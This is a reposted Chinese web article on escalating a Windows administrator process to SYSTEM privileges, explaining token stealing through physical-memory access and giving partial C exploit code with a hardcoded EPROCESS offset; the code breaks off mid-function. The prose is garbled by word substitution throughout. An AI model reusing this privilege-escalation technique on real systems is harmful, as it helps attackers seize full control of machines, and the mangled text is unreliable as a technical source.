设为主页 | 加入收藏 | 繁體中文

管理员组获取系统权限的完美解决方案

  Author : ZwelL
  Blog   : http://www.donews.net/zwell
  关于办理员组(administrators)获取体系(SYSTEM)权限的要领实在曾经有许多种了.
  小四哥就提到了一些:"MSDN系列(3)--Administrator用户间接获取SYSTEM权限"和"远程线程注入版获取SYSTEM权限".
  这里,我先踩在前辈的肩上列一些可行的要领:
  1. "利用ZwCreateToken()本身创立一个SYSTEM令牌(Token)"
  2. HOOK掉创立进程的函数ZwCreateProcess(Ex),用winlogon ID 创立
  3. 远线程拔出,拔出线程到体系进程,创立一新进程
  这上面三种要领都是scz提到的,也存在一些题目.实在除此这外,我们还可以:
  4. 将步伐做成办事,带参数运行新进程
  做为办事来讲便是SYSTEM了,再创立的进程也是SYSTEM权限.
  固然,这里我都不会用到上面提到的要领.因为网上都能找到现成的完成代码.并且考虑一些庞大性以及存在的一些题目都不是很好的办理方案.
  这里,我拿出两种新的方案来完成该功能:
  第一种要领.我们先来看一下体系是怎样进行权限检测的,
  举个例子,在调用了OpenProcessToken,我们晓得会进行权限的验证:
  OpenProcessToken->NtOpenProcessToken->PsOpenTokenOfProcess->PsReferencePrimaryToken->找到这一句Token = Process->Token;
  |->ObOpenObjectByPointer调用上面返回的TOKEN进行检查
  也便是说,体系在检测权限时仅仅经过从进程的EPROCESS布局种拿出Token项进行操作.因而我们不需要继续往ObOpenObjectByPointer内里跟进了。
  思路曾经很明显:间接将System进程的Token拿过去,放到我们进程的Token地位。那么体系就以为我们是SYSTEM权限.
  而这时我们的进程创立的子进程也便是SYSTEM权限了。(以上分析过程请参考WINDOWS源代码...^_^)
  完成代码:
  ===========================================================================================================
  #include
  #include
  #include
  #include
  #define TOKEN_OFFSET 0xc8 //In windows 2003, it's 0xc8, if others' version, change it
  #define NT_SUCCESS(Status)            ((NTSTATUS)(Status) >= 0)
  #define STATUS_INFO_LENGTH_MISMATCH        ((NTSTATUS)0xC0000004L)
  #define STATUS_ACCESS_DENIED ((NTSTATUS)0xC0000022L)
  typedef LONG  NTSTATUS;
  typedef struct _IO_STATUS_BLOCK
  {
  NTSTATUS    Status;
  ULONG        Information;
  } IO_STATUS_BLOCK, *PIO_STATUS_BLOCK;
  typedef struct _UNICODE_STRING
  {
  USHORT        Length;
  USHORT        MaximumLength;
  PWSTR        Buffer;
  } UNICODE_STRING, *PUNICODE_STRING;
  #define OBJ_INHERIT             0x00000002L
  #define OBJ_PERMANENT           0x00000010L
  #define OBJ_EXCLUSIVE           0x00000020L
  #define OBJ_CASE_INSENSITIVE    0x00000040L
  #define OBJ_OPENIF              0x00000080L
  #define OBJ_OPENLINK            0x00000100L
  #define OBJ_KERNEL_HANDLE       0x00000200L
  #define OBJ_VALID_ATTRIBUTES    0x000003F2L
  typedef struct _OBJECT_ATTRIBUTES
  {
  ULONG        Length;
  HANDLE        RootDirectory;
  PUNICODE_STRING ObjectName;
  ULONG        Attributes;
  PVOID        SecurityDescriptor;
  PVOID        SecurityQualityOfService;
  } OBJECT_ATTRIBUTES, *POBJECT_ATTRIBUTES; 
  typedef struct _SYSTEM_MODULE_INFORMATION
  {
  ULONG Reserved[2];
  PVOID Base;
  ULONG Size;
  ULONG Flags;
  USHORT Index;
  USHORT Unknown;
  USHORT LoadCount;
  USHORT ModuleNameOffset;
  CHAR ImageName[256];
  } SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;
  typedef enum _SYSTEM_INFORMATION_CLASS
  {
  SystemBasicInformation,
  SystemProcessorInformation,
  SystemPerformanceInformation,
  SystemTimeOfDayInformation,
  SystemNotImplemented1,
  SystemProcessesAndThreadsInformation,
  SystemCallCounts,
  SystemConfigurationInformation,
  SystemProcessorTimes,
  SystemGlobalFlag,
  SystemNotImplemented2,
  SystemModuleInformation,
  SystemLockInformation,
  SystemNotImplemented3,
  SystemNotImplemented4,
  SystemNotImplemented5,
  SystemHandleInformation,
  SystemObjectInformation,
  SystemPagefileInformation,
  SystemInstructionEmulationCounts,
  SystemInvalidInfoClass1,
  SystemCacheInformation,
  SystemPoolTagInformation,
  SystemProcessorStatistics,
  SystemDpcInformation,
  SystemNotImplemented6,
  SystemLoadImage,
  SystemUnloadImage,
  SystemTimeAdjustment,
  SystemNotImplemented7,
  SystemNotImplemented8,
  SystemNotImplemented9,
  SystemCrashDumpInformation,
  SystemExceptionInformation,
  SystemCrashDumpStateInformation,
  SystemKernelDebuggerInformation,
  SystemContextSwitchInformation,
  SystemRegistryQuotaInformation,
  SystemLoadAndCallImage,
  SystemPrioritySeparation,
  SystemNotImplemented10,
  SystemNotImplemented11,
  SystemInvalidInfoClass2,
  SystemInvalidInfoClass3,
  SystemTimeZoneInformation,
  SystemLookasideInformation,
  SystemSetTimeSlipEvent,
  SystemCreateSession,
  SystemDeleteSession,
  SystemInvalidInfoClass4,
  SystemRangeStartInformation,
  SystemVerifierInformation,
  SystemAddVerifier,
  SystemSessionProcessesInformation
  } SYSTEM_INFORMATION_CLASS;
  typedef NTSTATUS ( __stdcall *ZWQUERYSYSTEMINFORMATION )
  (
  IN SYSTEM_INFORMATION_CLASS SystemInformationClass,
  IN OUT PVOID SystemInformation,
  IN ULONG SystemInformationLength,
  OUT PULONG ReturnLength OPTIONAL
  );
  typedef NTSTATUS (CALLBACK* ZWOPENSECTION)(
  OUT PHANDLE  SectionHandle,
  IN  ACCESS_MASK  DesiredAccess,
  IN  POBJECT_ATTRIBUTES  ObjectAttributes
  );
  typedef VOID (CALLBACK* RTLINITUNICODESTRING)(               
  IN OUT PUNICODE_STRING  DestinationString,
  IN PCWSTR  SourceString
  );
  typedef struct _SYSTEM_HANDLE_INFORMATION
  {
  ULONG            ProcessId;
  UCHAR            ObjectTypeNumber;
  UCHAR            Flags;
  USHORT            Handle;
  PVOID            Object;
  ACCESS_MASK        GrantedAccess;
  } SYSTEM_HANDLE_INFORMATION, *PSYSTEM_HANDLE_INFORMATION;
  RTLINITUNICODESTRING        RtlInitUnicodeString;
  ZWOPENSECTION            ZwOpenSection;
  ZWQUERYSYSTEMINFORMATION    ZwQuerySystemInformation = NULL;
  HMODULE    g_hNtDLL = NULL;
  PVOID     g_pMapPhysicalMemory = NULL;
  HANDLE     g_hMPM     = NULL;
  BOOL InitNTDLL()
  {
  g_hNtDLL = LoadLibrary( "ntdll.dll" );
  if ( !g_hNtDLL )
  {
  return FALSE;
  }
  RtlInitUnicodeString =
  (RTLINITUNICODESTRING)GetProcAddress( g_hNtDLL, "RtlInitUnicodeString");
  ZwOpenSection =
  (ZWOPENSECTION)GetProcAddress( g_hNtDLL, "ZwOpenSection");
  ZwQuerySystemInformation =
  ( ZWQUERYSYSTEMINFORMATION )GetProcAddress( g_hNtDLL, "ZwQuerySystemInformation" );
  ZwQuerySystemInformation =
  ( ZWQUERYSYSTEMINFORMATION )GetProcAddress( g_hNtDLL, "ZwQuerySystemInformation" );
  return TRUE;
  }
  VOID CloseNTDLL()
  {
  if(g_hNtDLL != NULL)
  {
  FreeLibrary(g_hNtDLL);
  }
  }
  VOID SetPhyscialMemorySectionCanBeWrited(HANDLE hSection)
  {
  PACL pDacl=NULL;
  PACL pNewDacl=NULL;
  PSECURITY_DESCRIPTOR pSD=NULL;
  DWORD dwRes;
  EXPLICIT_ACCESS ea;
  if(dwRes=GetSecurityInfo(hSection,SE_KERNEL_OBJECT,DACL_SECURITY_INFORMATION,
  NULL,NULL,&pDacl,NULL,&pSD)!=ERROR_SUCCESS)


    文章作者: 福州军威计算机技术有限公司
    军威网络是福州最专业的电脑维修公司,专业承接福州电脑维修、上门维修、IT外包、企业电脑包年维护、局域网网络布线、网吧承包等相关维修服务。
    版权声明:原创作品,允许转载,转载时请务必以超链接形式标明文章原始出处 、作者信息和声明。否则将追究法律责任。

TAG:
评论加载中...
内容:
评论者: 验证码: